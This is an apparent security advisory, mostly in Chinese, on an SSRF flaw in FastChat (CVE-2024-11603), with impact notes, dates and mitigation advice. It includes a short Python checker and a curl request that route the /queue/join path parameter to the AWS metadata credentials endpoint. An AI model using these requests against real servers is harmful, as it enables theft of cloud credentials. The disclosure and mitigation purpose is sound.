FastChat 服务器端请求伪造 (SSRF) 漏洞

该 SSRF 漏洞的影响可能非常严重。攻击者可以利用此漏洞访问内部网络资源，例如数据库服务器、管理界面或其他敏感服务。通过访问 AWS 元数据端点，攻击者可能获取 AWS 凭据，从而完全控制云环境。这可能导致数据泄露、服务中断、甚至整个系统的控制权被攻陷。攻击者还可以利用此漏洞扫描内部网络，寻找其他潜在的漏洞，进一步扩大攻击范围。类似于其他 SSRF 漏洞，此漏洞可能被用于绕过防火墙和安全策略。

Organizations deploying fastchat for language model serving, particularly those running on AWS infrastructure, are at significant risk. Shared hosting environments where fastchat instances share network access with other tenants are also particularly vulnerable, as a successful SSRF attack could potentially compromise other services on the same host.

• python / server:

import requests
import urllib.parse

def check_ssrf(url):
    try:
        parsed_url = urllib.parse.urlparse(url)
        if parsed_url.scheme in ('http', 'https'):
            response = requests.get(url, timeout=5)
            print(f"URL: {url}, Status Code: {response.status_code}")
        else:
            print(f"Invalid URL scheme: {url}")
    except requests.exceptions.RequestException as e:
        print(f"Error accessing {url}: {e}")

# Example usage - check AWS metadata endpoint
check_ssrf('http://169.254.169.254/latest/meta-data/iam/security-credentials/')

• generic web:

curl -I 'http://your-fastchat-server/queue/join?path=http://169.254.169.254/latest/meta-data/iam/security-credentials/'

1. 2025-03-20Disclosure

   disclosure

1. 已保留2024-11-21
2. 发布日期2025-03-20
3. 修改日期2025-03-21
4. EPSS 更新日期2026-04-02

为了缓解 CVE-2024-11603 的风险，建议立即升级到最新版本。如果无法立即升级，可以考虑以下缓解措施：首先，对 /queue/join? 端点的输入进行严格的验证和过滤，确保路径参数只允许访问预期的资源。其次，实施网络隔离策略，限制内部服务器对外部网络的访问。第三，使用 Web 应用防火墙 (WAF) 或反向代理来检测和阻止恶意请求。最后，定期审查和更新安全配置，确保系统安全。